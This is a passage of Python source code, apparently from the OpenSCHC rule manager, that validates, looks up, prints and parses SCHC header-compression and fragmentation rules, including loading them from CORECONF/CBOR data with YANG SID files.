4)\n _default_value (arule, nrule, T_FRAG_TIMEOUT, 600)\n elif nrule[T_FRAG][T_FRAG_MODE] == T_FRAG_ACK_ON_ERROR:\n if not T_FRAG_FCN in nrule[T_FRAG][T_FRAG_PROF]:\n raise ValueError (\"FCN Must be specified for Ack On Error\")\n\n _default_value (arule, nrule, T_FRAG_W_SIZE, 1)\n _default_value (arule, nrule, T_FRAG_ACK_BEHAVIOR, T_FRAG_AFTER_ALL1)\n _default_value (arule, nrule, T_FRAG_TILE, None, True)\n _default_value (arule, nrule, T_FRAG_MAX_RETRY, 4)\n _default_value (arule, nrule, T_FRAG_TIMEOUT, 600)\n _default_value (arule, nrule, T_FRAG_L2WORDSIZE, 8)\n _default_value (arule, nrule, T_FRAG_LAST_TILE_IN_ALL1, None, True)\n\n if nrule[T_FRAG][T_FRAG_PROF][T_FRAG_LAST_TILE_IN_ALL1] == True:\n raise NotImplementedError (\"Last tile in All-1 is not implemented yet\")\n\n # the size include All-*, Max_VLAUE is WINDOW_SIZE-1\n _default_value(arule, nrule, T_FRAG_WINDOW_SIZE, (0x01 <<(arule[T_FRAG][T_FRAG_PROF][T_FRAG_FCN]))-1)\n else:\n raise ValueError (\"Unknown fragmentation mode\", nrule[T_FRAG][T_FRAG_MODE])\n else:\n raise ValueError(\"No fragmentation mode\")\n\n return arule\n\n def get_values(self, values):\n \"\"\"This function transforms the YANG list indexed with the first element, to a Python list.\n The key do not have to be sorted, unlisted positions are filled with None. Element stays as\n byte array. \n \"\"\"\n value_list = []\n for e in values: \n list_len = len(value_list)\n for i in range(list_len, e[1]+1): # fill with None to the position\n value_list.append(None)\n\n value_list[e[1]] = e[2]\n\n return value_list\n\n def _create_compression_rule (self, nrule, device_id = None):\n \"\"\"\n parse a rule to verify values and fill defaults\n \"\"\"\n arule = {}\n if T_RULEID in nrule: # transition for RuleID to RuleIDValue\n arule[T_RULEID] = nrule[T_RULEID]\n elif T_RULEIDVALUE in nrule:\n arule[T_RULEID] = nrule[T_RULEIDVALUE]\n else:\n raise ValueError(\"RuleID Value is missing\")\n arule[T_RULEIDLENGTH] = nrule[T_RULEIDLENGTH]\n\n if T_ACTION in nrule:\n print (\"Warning: using experimental Action\")\n arule[T_ACTION] = nrule[T_ACTION]\n\n\n\n arule[T_COMP] = []\n\n up_rules = 0\n dw_rules = 0\n\n for r in nrule[T_COMP]:\n if r[\"FID\"] == T_COAP_OPT_END:\n # XXX: check ignoring is the proper behavior, or what should be done the T_COAP_OPT_END\n # which is still generated by the parser but was not handled by this code.\n warnings.warn(\"Note: T_COAP_OPT_END is ignored\")\n continue\n if not r[\"FID\"] in FIELD__DEFAULT_PROPERTY:\n raise ValueError( \"Unkwown field id {} in rule {}/{}\".format(\n r[\"FID\"], arule[T_RULEID], arule[T_RULEIDLENGTH]\n ))\n\n entry = {}\n FID = r[T_FID]\n entry[T_FID] = FID\n entry[T_FL] = self._return_default(r, T_FL, FIELD__DEFAULT_PROPERTY[FID][T_FL])\n entry[T_FP] = self._return_default(r, T_FP, 1)\n entry[T_DI] = self._return_default(r, T_DI, T_DIR_BI)\n if entry[T_DI] in [T_DIR_BI, T_DIR_UP]: up_rules += 1\n if entry[T_DI] in [T_DIR_BI, T_DIR_DW]: dw_rules += 1\n\n MO = r[T_MO].upper()\n if MO in [T_MO_EQUAL, T_MO_MSB, T_MO_IGNORE, T_MO_MATCH_REV_RULE]:\n if MO == T_MO_MSB:\n if T_MO_VAL in r:\n entry[T_MO_VAL] = r[T_MO_VAL]\n else:\n raise ValueError (\"MO Value missing for {}\".format(FID))\n\n if T_TV in r:\n if type(r[T_TV]) is dict:\n if len(r[T_TV]) != 1:\n raise ValueError(FID+\": Only one command for TV.\")\n\n if not list(r[T_TV])[0] in [T_CMD_INDIRECT]:\n raise ValueError(FID+\": Unknown TV command.\")\n\n dic = r[T_TV] # set value to bytearray\n key = next(iter(dic))\n val = list(dic.values())[0]\n\n\n print (\"---------> \", key, val)\n entry[T_TV_IND] = adapt_value(key,entry[T_FL], FID)\n else:\n entry[T_TV] = adapt_value(r[T_TV], entry[T_FL], FID)\n else:\n entry[T_TV] = None\n\n elif MO == T_MO_MMAP:\n entry[T_TV] = []\n for e in r[T_TV]:\n entry[T_TV].append(adapt_value(e, entry[T_FL], FID))\n\n else:\n raise ValueError(\"{} MO unknown\".format(MO))\n entry[T_MO] = MO\n\n CDA = r[T_CDA].upper()\n if not CDA in [T_CDA_NOT_SENT, T_CDA_VAL_SENT, T_CDA_MAP_SENT, T_CDA_LSB, T_CDA_COMP_LEN, \n T_CDA_COMP_CKSUM, T_CDA_DEVIID, T_CDA_APPIID, T_CDA_REV_COMPRESS]:\n raise ValueError(\"{} CDA not found\".format(CDA))\n entry[T_CDA] = CDA\n\n arule[T_COMP].append(entry)\n\n if not T_META in arule:\n arule[T_META] = {}\n arule[T_META][T_UP_RULES] = up_rules\n arule[T_META][T_DW_RULES] = dw_rules\n arule[T_META][T_DEVICEID] = device_id\n arule[T_META][T_LAST_USED] = None\n\n return arule\n\n\n def __init__(self, file=None, log=None):\n #RM database\n self._ctxt = []\n self._log = log\n self._db = []\n self._sid_info = []\n self.sid_key_mapping = {}\n\n def _smart_print(self, v):\n if type(v) is str:\n v = '\"'+v+'\"'\n print ('{:<30}'.format(v), end=\"\")\n elif type(v) is int:\n print ('{:>30}'.format(v), end=\"\")\n elif type(v) is bytes:\n print ('{:>30}'.format(v.hex()), end=\"\")\n\n def printBin(self, v, l):\n txt = \"\"\n for i in range (7, -1, -1):\n if i >= l: txt += \" \"\n elif v & (0x01 << i) == 0: txt += \"0\"\n else: txt += \"1\"\n return txt\n\n def Print (self):\n \"\"\"\n Print a context\n \"\"\"\n for dev in self._ctxt:\n print (\"*\"*40)\n print (\"Device:\", dev[\"DeviceID\"])\n\n for rule in dev[\"SoR\"]:\n print (\"/\" + \"-\"*25 + \"\\\\\")\n txt = str(rule[T_RULEID])+\"/\"+ str(rule[T_RULEIDLENGTH])\n print (\"|Rule {:8} {:10}|\".format(txt, self.printBin(rule[T_RULEID], rule[T_RULEIDLENGTH])))\n\n if T_COMP in rule:\n print (\"|\" + \"-\"*15 + \"+\" + \"-\"*3 + \"+\" + \"-\"*2 + \"+\" + \"-\"*2 + \"+\" + \"-\"*30 + \"+\" + \"-\"*13 + \"+\" + \"-\"*16 +\"\\\\\")\n for e in rule[T_COMP]:\n msg2 = None\n if len(e[T_FID]) < 16:\n print (\"|{:<15s}|{:>3}|{:2}|{:2}|\".format(e[T_FID], e[T_FL], e[T_FP], e[T_DI]), end='')\n else:\n msg = e[T_FID]\n if \"-\" in msg:\n msg1, msg2 = msg.split('-')\n msg1 += '-'\n else:\n msg1 = msg[:15]\n msg2 = msg[15:]\n print (\"|{:<15s}|{:>3}|{:2}|{:2}|\".format(msg1, e[T_FL], e[T_FP], e[T_DI]), end=\"\")\n\n if 'TV' in e:\n if type(e[T_TV]) is list:\n self._smart_print(e[T_TV][0])\n elif type(e[T_TV]) is dict:\n self._smart_print(list(e[T_TV])[0]+'('+list(e[T_TV].values())[0]+')' )\n else:\n self._smart_print(e[T_TV])\n if not T_TV in e or e[T_TV] == None:\n print (\"-\"*30, end=\"\")\n\n txt = e[T_MO]\n if T_MO_VAL in e:\n txt = txt+ '(' + str(e[T_MO_VAL])+')'\n\n print (\"|{:13}|{:16}|\".format(txt, e[T_CDA]))\n\n if (T_TV in e) and (type (e[T_TV]) is list):\n for i in range (1, len(e[T_TV])):\n print (\":{:^15s}:{:^3}:{:^2}:{:^2}:\".format(\".\", \".\", \".\",\".\"), end='')\n self._smart_print(e[T_TV][i])\n print (\":{:^13}:{:^16}:\".format(\".\", \".\"))\n\n if msg2 != None: # FID is too large, wrote it on 2 lignes, this is the second line\n print (\"|{:<15s}|{:>3}|{:2}|{:2}|{:30}|{:13}|{:16}|\".format(msg2, \"\", \"\", \"\", \"\", \"\", \"\" ), )\n\n print (\"\\\\\" + \"-\"*15 + \"+\" + \"-\"*3 + \"+\" + \"-\"*2 + \"+\" + \"-\"*2 + \"+\" + \"-\"*30 + \"+\" + \"-\"*13 + \"+\" + \"-\"*16 +\"/\")\n elif T_FRAG in rule:\n # print (rule)\n if rule[T_FRAG][T_FRAG_DIRECTION] == T_DIR_UP:\n dir_c = \"^\"\n else:\n dir_c = \"v\"\n\n print (\"!\" + \"=\"*25 + \"+\" + \"=\"*61 +\"\\\\\")\n print (\"!{} Fragmentation mode : {:<15} header dtag{:2} Window {:2} FCN {:2} {:13}{:2} {}!\"\n .format(\n dir_c,\n rule[T_FRAG][T_FRAG_MODE],\n rule[T_FRAG][T_FRAG_PROF][T_FRAG_DTAG_SIZE],\n rule[T_FRAG][T_FRAG_PROF][T_FRAG_W_SIZE],\n rule[T_FRAG][T_FRAG_PROF][T_FRAG_FCN],\n \"\",\n rule[T_FRAG][T_FRAG_DIRECTION],\n dir_c\n ))\n\n if T_FRAG_TILE in rule[T_FRAG][T_FRAG_PROF]:\n txt = \"Tile size: \"+ str(rule[T_FRAG][T_FRAG_PROF][T_FRAG_TILE])\n else:\n txt = \"No Tile size specified\"\n print (\"!{} {:<84}{}!\".format(dir_c, txt, dir_c))\n\n\n print (\"!{} RCS Algorithm: {:<69}{}!\".format(dir_c,rule[T_FRAG][T_FRAG_PROF][T_FRAG_MIC], dir_c))\n\n if rule[T_FRAG][T_FRAG_MODE] != T_FRAG_NO_ACK:\n print (\"!{0}\" + \"-\"*83 +\"{0}!\".format(dir_c))\n if rule[T_FRAG][T_FRAG_MODE] == T_FRAG_ACK_ON_ERROR:\n txt = \"Ack behavior: \"+ rule[T_FRAG][T_FRAG_PROF][T_FRAG_ACK_BEHAVIOR]\n print (\"!{} {:<84}{}!\".format(dir_c, txt, dir_c))\n\n print (\"!{} Max Retry : {:4} Timeout {:5} seconds {:42} {}!\".format(\n dir_c,\n rule[T_FRAG][T_FRAG_PROF][T_FRAG_MAX_RETRY],\n rule[T_FRAG][T_FRAG_PROF][T_FRAG_TIMEOUT], \"\",\n dir_c\n ))\n\n print (\"\\\\\" + \"=\"*87 +\"/\")\n elif T_NO_COMP in rule:\n print (\"+\"+ \"~\"*25 + \"+\")\n print (\"| NO COMPRESSION |\")\n print (\"\\\\\"+ \"~\"*25 + \"/\")\n\n if T_INDEXES in dev and len(dev[T_INDEXES]) > 0:\n print (\"INDEXES:\")\n for x, y in dev[T_INDEXES].items():\n print (x,\"-->\", y)\n\n\n# Find rules \n\n def MO_IGNORE (self, TV, FV, rlength, flength, arg, direction=None):\n return True\n\n def MO_EQUAL (self, TV, FV, rlength, flength, arg, direction=None):\n if type(TV) != type(FV):\n return False\n\n if TV != FV: return False\n return True\n\n def MO_MSB (self, TV, FV, rlength, flength, arg, direction=None):\n print (\"MSB\")\n print (TV, FV, rlength, flength, arg)\n\n if rlength == T_FUNCTION_VAR:\n rlength = flength\n\n ignore_bit = rlength - arg\n\n for b in range(arg):\n pos = b%8\n byte_pos = b//8\n\n right_byte_tv = TV[byte_pos]\n right_byte_fv = FV[byte_pos]\n\n bit_tv = right_byte_tv & (1 << (7 -pos))\n bit_fv = right_byte_fv & (1 << (7 -pos))\n\n print (b, pos, ignore_bit,'|', TV, FV, '|', right_byte_tv, right_byte_fv, '-',bit_tv, bit_fv)\n\n if bit_tv != bit_fv:\n print (\"comparison failed\")\n return False\n \n print (\"comparison succeeded\")\n return True\n\n\n def MO_MMAP (self, TV, FV, rlength, flength, arg, direction=None):\n for v in TV:\n if self.MO_EQUAL (v, FV, rlength, flength, arg): return True\n return False\n \n def MO_MATCH_REV_RULE (self, TV, FV, rlength, flength, arg, direction=None):\n\n if direction == T_DIR_UP:\n direction = T_DIR_DW\n elif direction == T_DIR_DW:\n direction = T_DIR_UP\n\n P = Parser(None)\n\n header_d, payload, error = P.parse(FV, direction=direction)\n rule = self.FindRuleFromPacket(header_d, direction=direction)\n\n if rule == None:\n return False\n \n return True \n\n MO_function = {\n T_MO_IGNORE : MO_IGNORE,\n T_MO_EQUAL : MO_EQUAL,\n T_MO_MSB : MO_MSB,\n T_MO_MMAP : MO_MMAP,\n T_MO_MATCH_REV_RULE: MO_MATCH_REV_RULE,\n }\n\n def FindRuleFromSCHCpacket (self, schc, device=None):\n \"\"\" returns the rule corresponding to the id stored at the\n beginning of the SCHC packet.\n \"\"\"\n\n for d in self._ctxt:\n dprint (d[\"DeviceID\"])\n if d[\"DeviceID\"] == device: #look for a specific device\n for r in d[\"SoR\"]:\n ruleID = r[T_RULEID]\n ruleLength = r[T_RULEIDLENGTH]\n\n tested_rule = schc.get_bits(ruleLength, position=0)\n\n dprint (tested_rule, ruleID)\n if tested_rule == ruleID:\n return r\n\n return None\n\n\n def FindRuleFromPacket(self, pkt, direction=T_DIR_BI, failed_field=False):\n \"\"\" Takes a parsed packet and returns the matching rule.\n \"\"\"\n for dev in self._ctxt:\n for rule in dev[\"SoR\"]:\n if \"Compression\" in rule:\n matches = 0\n for r in rule[\"Compression\"]:\n print(r)\n #print (pkt[(r[T_FID], r[T_FP])][0])\n if r[T_DI] == T_DIR_BI or r[T_DI] == direction:\n if (r[T_FID], r[T_FP]) in pkt:\n if T_MO_VAL in r:\n arg = r[T_MO_VAL]\n else:\n arg = None\n\n if self.MO_function[r[T_MO]](self,\n r[T_TV], pkt[(r[T_FID], r[T_FP])][0],\n r[T_FL], pkt[(r[T_FID], r[T_FP])][1],\n arg, direction=direction):\n matches += 1\n else:\n if failed_field:\n print(\"rule {}/{}: field {} does not match TV={} FV={} rlen={} flen={} arg={}\".format(\n rule[T_RULEID], rule[T_RULEIDLENGTH],\n r[T_FID],\n r[T_TV], pkt[(r[T_FID], r[T_FP])][0],\n r[T_FL], pkt[(r[T_FID], r[T_FP])][1],\n arg))\n break # field does not match, rule does not match\n else:\n if r[T_FL] == \"var\": # entry not found, but variable length => accept\n matches += 1 # residue size set to 0\n dprint(\"Suboptimal rule\")\n else:\n dprint(\"field from rule not found in pkt\")\n break # field from rule not found in pkt, go to next\n print (\"->\", matches)\n print(\"-\"*10, \"matches:\", matches, len(pkt), rule[T_META][T_UP_RULES], rule[T_META][T_DW_RULES])\n if direction == T_DIR_UP and matches == rule[T_META][T_UP_RULES]: return rule\n if direction == T_DIR_DW and matches == rule[T_META][T_DW_RULES]: return rule\n return None\n\n def FindNoCompressionRule(self, deviceID=None):\n for d in self._ctxt:\n if d[\"DeviceID\"] == deviceID:\n for r in d[\"SoR\"]:\n if T_NO_COMP in r:\n return r\n\n return None \n\n def FindFragmentationRule(self, deviceID=None, originalSize=None, \n reliability=T_FRAG_NO_ACK, direction=T_DIR_UP, \n packet=None):\n \"\"\"Lookup a fragmentation rule.\n\n Find a fragmentation rule regarding parameters:\n * original SCHC packet size\n * reliability NoAck, AckOnError, AckAlways\n * direction (UP or DOWN)\n NOTE: Not yet implemented, returns the first fragmentation rule. \n XXX please check whether the following strategy is okey.\n - if direction is specified, and deviceID is None, it is assumed that\n the request is for a device. Return the 1st rule matched with the\n direction regardless of the deviceID. A deviceID for a device is\n not configured typically.\n - if raw_packet is not None, it compares the rule_id with the packet.\n - if the direction and the deviceID is matched.\n \"\"\"\n dprint(\"FindFragmentationRule\", deviceID, direction)\n\n if direction is not None and deviceID is not None:\n for d in self._ctxt:\n if d[\"DeviceID\"] == deviceID:\n for r in d[\"SoR\"]:\n if T_FRAG in r and r[T_FRAG][T_FRAG_DIRECTION] == direction:\n return r\n\n elif direction is not None and deviceID is None:\n for d in self._ctxt:\n for r in d[\"SoR\"]:\n if T_FRAG in r and r[T_FRAG][T_FRAG_DIRECTION] == direction:\n # return the 1st one.\n return r\n elif packet is not None:\n print(\"packet dev-id\", deviceID)\n for d in self._ctxt:\n for r in d[\"SoR\"]:\n print(\"rule dev-id\", d[\"DeviceID\"])\n if T_FRAG in r:\n rule_id = packet.get_bits(r[T_RULEIDLENGTH], position=0)\n if r[T_RULEID] == rule_id:\n return r\n else:\n for d in self._ctxt:\n if d[\"DeviceID\"] == deviceID:\n for r in d[\"SoR\"]:\n if T_FRAG in r:\n return r\n return None\n\n# CORECONF \n\n def add_sid_file(self, name):\n with open(name) as sid_file:\n sid_values = json.loads(sid_file.read())\n\n if 'key-mapping' not in sid_values:\n print (\"\"\"{} sid files has not been genreated with the --sid-extention options.\\n\\\nSome conversion capabilities may not works. see http://github.com/ltn22/pyang\"\"\".format(name)) \n else:\n for k, v in sid_values['key-mapping'].items():\n if k in self.sid_key_mapping:\n print (\"key sid\", k, \"already present, ignoring...\")\n else: \n self.sid_key_mapping[int(k)] = v\n del(sid_values[\"key-mapping\"])\n\n self._sid_info.append(sid_values)\n\n def sid_search_for(self, name, space=\"data\"):\n\n for s in self._sid_info:\n for e in s[\"items\"]:\n if e[\"identifier\"] == name and e[\"namespace\"]==space:\n return e[\"sid\"]\n return None \n\n def sid_search_sid(self, value, short=False):\n \"\"\"return YANG ID form a SID, if short is set to true, the module id is not concatenated.\"\"\"\n for s in self._sid_info:\n name = s[\"module-name\"]\n for e in s[\"items\"]:\n if e[\"sid\"] == value:\n if e[\"namespace\"] == \"identity\":\n if short:\n return e[\"identifier\"]\n else: \n return name + \":\" + e[\"identifier\"]\n elif e[\"namespace\"] == \"data\":\n return e[\"identifier\"]\n else:\n raise ValueError(\"not a good namespace\", e[\"namespace\"])\n\n raise ValueError(\"Not found\", value)\n return None \n\n def openschc_id (self, yang_id):\n \"\"\"return an OpenSCHC ID giving a yang ID stored in .sid files\"\"\"\n for i in YANG_ID:\n if YANG_ID[i][1] == yang_id:\n return i\n\n raise ValueError(yang_id, \"not known by openSCHC\")\n\n def get_yang_type (self, yangid):\n for s in self._sid_info:\n module_name = s['module-name']\n for e in s['items']:\n if e['identifier'] == yangid:\n if \"type\" in e:\n if type(e['type']) is str:\n if e[\"type\"] in [\"int8\", \"int16\", \"int32\", \"uint8\", \"uint16\", \"uint32\"]:\n return \"int\"\n elif e[\"type\"] in [\"string\", 'binary']:\n return e['type']\n else:\n return 'identifier'\n elif type(e['type']) is list: # union, should be extended\n \"\"\"In theorie, this function is called when a cbor data for an int is found. \n regarding the CORECONF coding, other alternative\n identifier or enum are tagged, and will be processed directly by other\n function, so whenan union is found, it should be the array. The only test\n is to check that int in the array or generate an error. \"\"\"\n return 'union'\n else: \n return \"node\" # this is not a leaf\n return None #yandid not found\n\n\n def cbor_header (self, major, value):\n if value < 23:\n return struct.pack ('!B', (major | value))\n elif value < 255:\n return struct.pack ('!BB', (major | 24), value)\n\n def from_coreconf(self, device=None, dev_info=None, file=None, compression=True):\n \"\"\"\n Take a coreconf representation and store it in the rule manager.\n \"\"\"\n\n assert (dev_info is not None or file is not None)\n\n if file != None:\n dev_info = open(file).read() \n\n # allows CBOR or Python structure, if CBOR convert it in Python. \n if type(dev_info) is bytes:\n rule_input = cbor.loads(dev_info) # store CBOR CORECONF\n elif type(dev_info) is dict:\n rule_input = dev_info # coreconf already in python\n else:\n raise ValueError(\"Unknown rule format\")\n\n SoR = []\n\n schc_id = self.sid_search_for(name=\"/ietf-schc:schc\", space=\"data\")\n\n if not schc_id in rule_input:\n print (\"This is a not a Set of Rule\")\n return None\n\n entry = rule_input[schc_id]\n\n sid_ref = self.sid_search_for(name=\"/ietf-schc:schc/rule\", space=\"data\")\n rid_value_sid = self.sid_search_for(name=\"/ietf-schc:schc/rule/rule-id-value\", space=\"data\") - sid_ref\n rid_length_sid = self.sid_search_for(name=\"/ietf-schc:schc/rule/rule-id-length\", space=\"data\") - sid_ref\n rule_nature_sid = self.sid_search_for(name=\"/ietf-schc:schc/rule/rule-nature\", space=\"data\") - sid_ref\n for rule in entry[1]:\n arule = {}\n arule[T_RULEID] = rule[rid_value_sid]\n arule[T_RULEIDLENGTH] =rule[rid_length_sid]\n rule_nature = rule[rule_nature_sid]\n\n nature = self.sid_search_sid (rule_nature, short=True)\n if nature == \"nature-compression\":\n entry = []\n entry_ref = self.sid_search_for(name=\"/ietf-schc:schc/rule/entry\", space=\"data\") \n entry_sid = entry_ref - sid_ref\n fid_sid = self.sid_search_for(name=\"/ietf-schc:schc/rule/entry/field-id\", space=\"data\") - entry_ref\n fl_sid = self.sid_search_for(name=\"/ietf-schc:schc/rule/entry/field-length\", space=\"data\") - entry_ref\n fpos_sid = self.sid_search_for(name=\"/ietf-schc:schc/rule/entry/field-position\", space=\"data\") - entry_ref\n dir_sid = self.sid_search_for(name=\"/ietf-schc:schc/rule/entry/direction-indicator\", space=\"data\") - entry_ref\n mo_sid = self.sid_search_for(name=\"/ietf-schc:schc/rule/entry/matching-operator\", space=\"data\") - entry_ref\n mo_val_sid = self.sid_search_for(name=\"/ietf-schc:schc/rule/entry/matching-operator-value\", space=\"data\") - entry_ref\n cda_sid = self.sid_search_for(name=\"/ietf-schc:schc/rule/entry/comp-decomp-action\", space=\"data\") - entry_ref\n tv_sid = self.sid_search_for(name=\"/ietf-schc:schc/rule/entry/target-value\", space=\"data\") - entry_ref\n\n up_rules = 0\n dw_rules = 0\n for r in rule[entry_sid]:\n entry_elm = {}\n\n fid_value = r[fid_sid]\n fid_yang_name = self.sid_search_sid (fid_value, short=True)\n o_schc_id = self.openschc_id(fid_yang_name)\n entry_elm[T_FID] = o_schc_id\n\n fl_value = r[fl_sid]\n if type(fl_value) is cbor.CBORTag and fl_value.tag == 45:\n fl_value = self.sid_search_sid(fl_value.value, short = True)\n if fl_value == \"fl-token-length\": # use OPENSCHC ID\n fl_value = T_FUNCTION_TKL \n elif fl_value == \"fl-variable\":\n fl_value = T_FUNCTION_VAR\n entry_elm[T_FL] = fl_value\n\n dir_value = r[dir_sid]\n dir_yang_name = self.sid_search_sid (dir_value, short=True)\n o_schc_id = self.openschc_id(dir_yang_name) \n entry_elm[T_DI] = o_schc_id\n\n if o_schc_id == T_DIR_BI:\n up_rules += 1\n dw_rules += 1\n elif o_schc_id == T_DIR_UP:\n up_rules += 1\n elif o_schc_id == T_DIR_DW:\n dw_rules += 1\n\n fpos = r[fpos_sid]\n entry_elm[T_FP] = fpos\n\n mo_value = r[mo_sid]\n mo_yang_name = self.sid_search_sid (mo_value, short=True)\n o_schc_id = self.openschc_id(mo_yang_name)\n entry_elm[T_MO] = o_schc_id\n\n if mo_val_sid in r:\n values = self.get_values(r[mo_val_sid])\n entry_elm[T_MO_VAL] = int.from_bytes(values[0], byteorder='big') # 1 arg = length\n\n cda_value = r[cda_sid]\n cda_yang_name = self.sid_search_sid (cda_value, short=True)\n o_schc_id = self.openschc_id(cda_yang_name)\n entry_elm[T_CDA] = o_schc_id\n\n if tv_sid in r:\n values = self.get_values(r[tv_sid])\n #print (values)\n if len (values) == 1:\n entry_elm[T_TV] = values[0]\n else:\n entry_elm[T_TV] = values\n\n #print (entry_elm, up_rules, dw_rules)\n\n entry.append(entry_elm)\n\n arule[T_COMP] = entry\n if not T_META in arule:\n arule[T_META] = {}\n arule[T_META][T_UP_RULES] = up_rules\n arule[T_META][T_DW_RULES] = dw_rules\n arule[T_META][T_DEVICEID] = device\n\n\n elif nature ==\"nature-fragmentation\":\n #print ('fragmentation')\n arule[T_FRAG] = {}\n arule[T_FRAG][T_FRAG_PROF] = {}\n frag_mod_sid = self.sid_search_for(name=\"/ietf-schc:schc/rule/fragmentation-mode\", space=\"data\") - sid_ref\n frag_mod_id = self.sid_search_sid(rule[frag_mod_sid], short=True)\n\n l2_word_sid = self.sid_search_for(name=\"/ietf-schc:schc/rule/l2-word-size\", space=\"data\") - sid_ref\n if l2_word_sid in rule:\n l2_word = rule[l2_word_sid]\n if l2_word != 8:\n raise ValueError(\"OpenSCHC only support 8 bit long l2 words\")\n else:\n #print (\"L2 Word set to 8 by default\")\n l2_word = 8\n\n direction_sid = self.sid_search_for(name=\"/ietf-schc:schc/rule/direction\", space=\"data\") - sid_ref\n direction = self.sid_search_sid(rule[direction_sid], short=True)\n\n if direction == 'di-up':\n arule[T_FRAG][T_FRAG_DIRECTION] = T_DIR_UP\n elif direction == 'di-down':\n arule[T_FRAG][T_FRAG_DIRECTION] = T_DIR_DW\n else:\n raise ValueError (\"Unknown fragmentation rule direction\", direction)\n\n dtag_size_sid = self.sid_search_for(name=\"/ietf-schc:schc/rule/dtag-size\", space=\"data\") - sid_ref\n if dtag_size_sid in rule:\n arule[T_FRAG][T_FRAG_PROF][T_FRAG_DTAG_SIZE] = rule[dtag_size_sid]\n else:\n arule[T_FRAG][T_FRAG_PROF][T_FRAG_DTAG_SIZE] = 0\n\n w_size_sid = self.sid_search_for(name=\"/ietf-schc:schc/rule/w-size\", space=\"data\") - sid_ref\n if w_size_sid in rule:\n arule[T_FRAG][T_FRAG_PROF][T_FRAG_W_SIZE] = rule[w_size_sid]\n else:\n arule[T_FRAG][T_FRAG_PROF][T_FRAG_W_SIZE] = 0\n\n fcn_size_sid = self.sid_search_for(name=\"/ietf-schc:schc/rule/fcn-size\", space=\"data\") - sid_ref\n if fcn_size_sid in rule:\n arule[T_FRAG][T_FRAG_PROF][T_FRAG_FCN] = rule[fcn_size_sid]\n else:\n raise ValueError(\"FCN must be specified\")\n\n rcs_algo_sid = self.sid_search_for(name=\"/ietf-schc:schc/rule/rcs-algorithm\", space=\"data\") - sid_ref\n if rcs_algo_sid in rule:\n rcs_algo = self.sid_search_sid(rule[rcs_algo_sid], short=True)\n arule[T_FRAG][T_FRAG_PROF][T_FRAG_MIC] = self.openschc_id(rcs_algo)\n else:\n arule[T_FRAG][T_FRAG_PROF][T_FRAG_MIC] = T_FRAG_RFC8724\n\n max_pkt_size_sid = self.sid_search_for(name=\"/ietf-schc:schc/rule/maximum-packet-size\", space=\"data\") - sid_ref\n if max_pkt_size_sid in rule:\n arule[T_FRAG][T_FRAG_PROF][T_MAX_PACKET_SIZE] = rule[max_pkt_size_sid]\n else:\n arule[T_FRAG][T_FRAG_PROF][T_MAX_PACKET_SIZE] = 1280\n\n window_size_sid = self.sid_search_for(name=\"/ietf-schc:schc/rule/window-size\", space=\"data\") - sid_ref\n if window_size_sid in rule:\n arule[T_FRAG][T_FRAG_PROF][T_FRAG_WINDOW_SIZE] = rule[window_size_sid]\n else:\n arule[T_FRAG][T_FRAG_PROF][T_FRAG_WINDOW_SIZE] = 2**arule[T_FRAG][T_FRAG_PROF][T_FRAG_FCN] - 1\n if arule[T_FRAG][T_FRAG_PROF][T_FRAG_WINDOW_SIZE] < 1: #case if W is 0 or 1\n arule[T_FRAG][T_FRAG_PROF][T_FRAG_WINDOW_SIZE] = 1\n \n max_inter_frame_sid = self.sid_search_for(name=\"/ietf-schc:schc/rule/max-interleaved-frames\", space=\"data\") - sid_ref\n if max_inter_frame_sid in rule:\n arule[T_FRAG][T_FRAG_PROF][T_MAX_INTER_FRAME] = rule[max_inter_frame_sid]\n else:\n arule[T_FRAG][T_FRAG_PROF][T_MAX_INTER_FRAME] = 1\n\n inac_timer_sid = self.sid_search_for(name=\"/ietf-schc:schc/rule/inactivity-timer\", space=\"data\") - sid_ref\n if inac_timer_sid in rule:\n inac_timer = rule[inac_timer_sid]\n tick_duration_sid = self.sid_search_for(name=\"/ietf-schc:schc/rule/inactivity-timer/ticks-duration\", space=\"data\") - inac_timer_sid\n tick_number_sid = self.sid_search_for(name=\"/ietf-schc:schc/rule/inactivity-timer/ticks-numbers\", space=\"data\") - inac_timer_sid\n \n if tick_duration_sid in inac_timer:\n tick_duration = inac_timer[tick_duration_sid]\n else:\n tick_duration = 20\n\n if tick_number_sid in inac_timer:\n tick_number = inac_timer[tick_number_sid]\n else:\n tick_number = 600 # Value to be checked\n\n inactivity_timer = int(tick_number * (2**tick_duration / 10**6))\n else:\n inactivity_timer = 12 * 60 * 60 # default timer in seconds\n\n retrans_timer_sid = self.sid_search_for(name=\"/ietf-schc:schc/rule/retransmission-timer\", space=\"data\") - sid_ref\n if retrans_timer_sid in rule:\n tick_duration_sid = self.sid_search_for(name=\"/ietf-schc:schc/rule/retransmission-timer/ticks-duration\", space=\"data\") - retrans_timer_sid\n tick_number_sid = self.sid_search_for(name=\"/ietf-schc:schc/rule/retransmission-timer/ticks-numbers\", space=\"data\") - retrans_timer_sid\n \n if tick_duration_sid in inac_timer:\n tick_duration = inac_timer[tick_duration_sid]\n else:\n tick_duration = 20\n\n if tick_number_sid in inac_timer:\n tick_number = inac_timer[tick_number_sid]\n else:\n tick_number = 60 # Value to be checked\n\n retransmission_timer = int(tick_number * (2**tick_duration / 10**6))\n\n else:\n retransmission_timer = 1 * 60 * 60 # default timer in seconds\n arule[T_FRAG][T_FRAG_PROF][T_FRAG_TIMEOUT] = retransmission_timer\n\n max_ack_req_sid = self.sid_search_for(name=\"/ietf-schc:schc/rule/max-ack-requests\", space=\"data\") - sid_ref\n if max_ack_req_sid in rule:\n arule[T_FRAG][T_FRAG_PROF][T_FRAG_MAX_RETRY] = rule[max_ack_req_sid]\n else:\n arule[T_FRAG][T_FRAG_PROF][T_FRAG_MAX_RETRY] = 4 # openSCHC default value\n\n if frag_mod_id == 'fragmentation-mode-no-ack':\n arule[T_FRAG][T_FRAG_MODE] = T_FRAG_NO_ACK\n elif frag_mod_id == 'fragmentation-mode-ack-always':\n arule[T_FRAG][T_FRAG_MODE] = T_FRAG_ACK_ALWAYS\n elif frag_mod_id == 'fragmentation-mode-ack-on-error':\n arule[T_FRAG][T_FRAG_MODE] = T_FRAG_ACK_ON_ERROR\n\n tile_size_sid = self.sid_search_for(name=\"/ietf-schc:schc/rule/tile-size\", space=\"data\") - sid_ref\n if tile_size_sid in rule:\n arule[T_FRAG][T_FRAG_PROF][T_FRAG_TILE] = rule[max_ack_req_sid]\n else:\n arule[T_FRAG][T_FRAG_PROF][T_FRAG_TILE] = 10 # openSCHC default value\n\n tile_in_all1_sid = 